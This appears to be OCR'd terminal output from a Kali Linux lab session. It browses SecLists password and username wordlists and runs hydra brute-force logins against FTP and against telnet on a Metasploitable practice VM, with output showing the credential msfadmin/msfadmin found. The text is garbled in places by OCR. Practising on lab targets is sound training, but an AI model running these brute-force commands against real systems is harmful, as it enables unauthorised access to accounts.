```
seclists ~ Collection of multiple types of security lists
  — Usernames
— Web-Shells
—(kali® kali)-[/usr/share/seclists]
      cd Password
 d: no such file or directory: Password
 —(kali®kali)-[/usr/share/seclists]
-$ cd Passwords
   -(kali⊛kali)-[/usr/share/seclists/Passwords]
2020-200_most_used_passwords.txt common_corporate_passwords.lst der-postillon.txt
2023-200_most_used_passwords.txt Common-Credentials dutch_common_wordl
500-worst-passwords.txt Cracked-Hashes dutch_passwordlist
                                                                                                                                                                            Most-Popular-Letter-Passes.txt
                                                                                                                                                                                                                                                       richelieu-french-t
                                                                                                                         dutch_passwordlist.txt wsql-passwords-nansh0u-guardicore.txt dutch_passwordlist.txt openwall.net-all.txt dutch_wordlist Permutations
                                                                                                                                                                                                                                                       scraped-JWT-secret
seasons.txt
                                                             Cracked-Hashes
darkc0de.txt
darkweb2017-top10000.txt
                                                                                                                          german_misc.txt
                                                        darkweb2017-top10000.txt
darkweb2017-top1000.txt
darkweb2017-top100.txt
darkweb2017-top10.txt
days.txt
Default-Credentials
                                                                                                                         Honeypot-Captures
Keyboard-Walks
Leaked-Databases
Malware
months.txt
                                                                                                                                                                            pnp-nasnes
probable-v2-top12000.txt
probable-v2-top1575.txt
probable-v2-top207.txt
README.md
richelieu-french-top20000.txt
                                                                                                                                                                                                                                                       stupid-ones-in-pro
twitter-banned.txt
unkown-azul.txt
UserPassCombo-Jay.
ooks
ot4-password.txt
cirt-default-passwords.txt
citrix.txt
 larkson-university-82.txt
  —(kali®kali)-[/usr/share/seclists/Passwords]
-$ <u>sudo</u> nano darkweb
  —(kali®kali)-[/usr/share/seclists/Passwords]
$ <u>sudo</u> nano darkweb2017-top10.txt
   -(kali®kali)-[/usr/share/seclists/Passwords]
  —(kali®kali)-[/usr/share/seclists]
 -$ ls
iscovery Fuzzing IOCs Miscellaneous Passwords Pattern-Matching Payloads README.md Usernames Web-Shells
 ਾਤੇ ਹਿ
Piscovery Fuzzing IOCs Miscellaneous Passwords Pattern-Matching Payloads README.md Usernames Web-Shells
   —(kali⊗kali)-[/usr/share/seclists]
-$ Usernames
    -(kali®kali)-[/usr/share/seclists/Usernames]
cirt-default-usernames.txt Honeypot-Captures Names sap-default-usernames.txt xato-net-10-million-usernames-dup.txt
CommonAdminBase64.txt mssql-usernames-nansh0u-guardicore.txt README.md top-usernames-shortlist.txt xato-net-10-million-usernames.txt
   —(kali® kali)-[/usr/share/seclists/Usernames]
-$ <u>sudo</u> nano cirt-default-usernames.txt
  —(kali⊕ kali)-[/usr/share/seclists/Usernames]
-$ cd ..
   -(kali@ kali)-[/usr/share/seclists]
(kali© kali)-[/usr/share]
$\frac{\psi}{\psi}$ hydra -L /usr/share/seclists/Passwords/darkweb2017-top10.txt 192.168.1.58 -t 4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this i
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-19 14:53:34
[DATA] max 4 tasks per 1 server, overall 4 tasks, 9119 login tries (l:829/p:11), ~2280 tries per task
[DATA] attacking ftp://192.168.1.58 login: test_user1 password: 12345
[STATUS] 120.00 tries/min, 120 tries in 00:01h, 8999 to do in 01:15h, 4 active
[STATUS] 84.33 tries/min, 253 tries in 00:03h, 8866 to do in 01:46h, 4 active
[ERROR] Can not create restore file (./hydra.restore) - Permission denied
[STATUS] 74.71 tries/min, 523 tries in 00:07h, 8596 to do in 01:56h, 4 active
```

```
(kali⊕kali)-[/usr/share]
seclists
  seclists ~ Collection of multiple types of security lists
  — Fuzzing
— TOCs
 — miscettaneous
— Passwords
— Pattern-Matching
— Payloads
— Usernames
— Web-Shells
 ---(kali® kali)-[/usr/share/seclists]
---$ cd Passwords
   -(kali@kali)-[/usr/share/seclists/Passwords]
darkc0de.txt
darkweb2017-top10000.txt
darkweb2017-top1000.txt
                                                                                                                     Honeypot-Captures
Keyboard-Walks
Leaked-Databases
Malware
months.txt
                                                                                                                                                                      probable-v2-top12000.txt
                                                                                                                                                                                                                                               stupid-ones-in-pro
bt4-password.txt
cirt-default-passwords.txt
citrix.txt
                                                            darkweb2017-top100.txt
darkweb2017-top10.txt
days.txt
Default-Credentials
                                                                                                                                                                      probable-v2-top1575.txt
probable-v2-top207.txt
README.md
richelieu-french-top20000.txt
                                                                                                                                                                                                                                              twitter-banned.txt
unkown-azul.txt
UserPassCombo-Jay.
clarkson-university-82.txt
     (kali® kali)-[/usr/share/seclists/Passwords]
| <u>sudo</u> nano darkweb2017-top10.txt
  —(kali⊕kali)-[/usr/share/seclists/Passwords]
   -(kali®kali)-[/usr/share/seclists]
  <u>-$ cd U</u>sernames
  cirt-default-usernames.txt Honeypot-Captures Names sap-default-usernames.txt xato-net-10-million-usernames-dup.txt
CommonAdminBase64.txt mssql-usernames-nansh0u-guardicore.txt README.md top-usernames-shortlist.txt xato-net-10-million-usernames.txt
   -(kali⊕kali)-[/usr/share/seclists/Usernames]
$ <u>sudo</u> nano cirt-default-usernames.txt
   -(kali@kali)-[/usr/share/seclists/Usernames]
  -(kali@kali)-[/usr/share/seclists]
     -(kali®kali)-[/usr/share]
  -$ telnet 192.168.1.59
Trying 192.168.1.59...
Connected to 192.168.1.59. Escape character is '^l'.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: ^[[A^[[A^H^H^H^H^H^HConnection closed by foreign host.
     -(kali®kali)-[/usr/share]
* hydra -L /usr/share/seclists/Usernames/cirt-default-usernames.txt -P /usr/share/seclists/Passwords/darkweb2017-top10
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-19 15:13:11 [WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available [DATA] max 4 tasks per 1 server, overall 4 tasks, 9948 login tries (l:829/p:12), ~2487 tries per task [DATA] attacking telnet://192.168.1.59:23/
[DATA] attacking telnet://192.168.1.59:23/
[ATTEMPT] target 192.168.1.59 - login "msfadmin" - pass "msfadmin" - 1 of 9948 [child 0] (0/0)
[ATTEMPT] target 192.168.1.59 - login "msfadmin" - pass "12345" - 2 of 9948 [child 1] (0/0)
[ATTEMPT] target 192.168.1.59 - login "msfadmin" - pass "123456" - 3 of 9948 [child 2] (0/0)
[ATTEMPT] target 192.168.1.59 - login "msfadmin" - pass "123456789" - 4 of 9948 [child 3] (0/0)
[ATTEMPT] target 192.168.1.59 - login "msfadmin" - pass "123456789" - 4 of 9948 [child 3] (0/6 [23][telnet] host: 192.168.1.59 | login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.1.59 - login "!root" - pass "msfadmin" - 13 of 9948 [child 0] (0/0)
[ATTEMPT] target 192.168.1.59 - login "!root" - pass "123456" - 14 of 9948 [child 2] (0/0)
[ATTEMPT] target 192.168.1.59 - login "!root" - pass "123456" - 15 of 9948 [child 1] (0/0)
[ATTEMPT] target 192.168.1.59 - login "!root" - pass "123456789" - 16 of 9948 [child 3] (0/0)
[ATTEMPT] target 192.168.1.59 - login "!root" - pass "111111" - 17 of 9948 [child 0] (0/0)
[ATTEMPT] target 192.168.1.59 - login "!root" - pass "password" - 18 of 9948 [child 1] (0/0)
[ATTEMPT] target 192.168.1.59 - login "!root" - pass "querty" - 19 of 9948 [child 3] (0/0)
```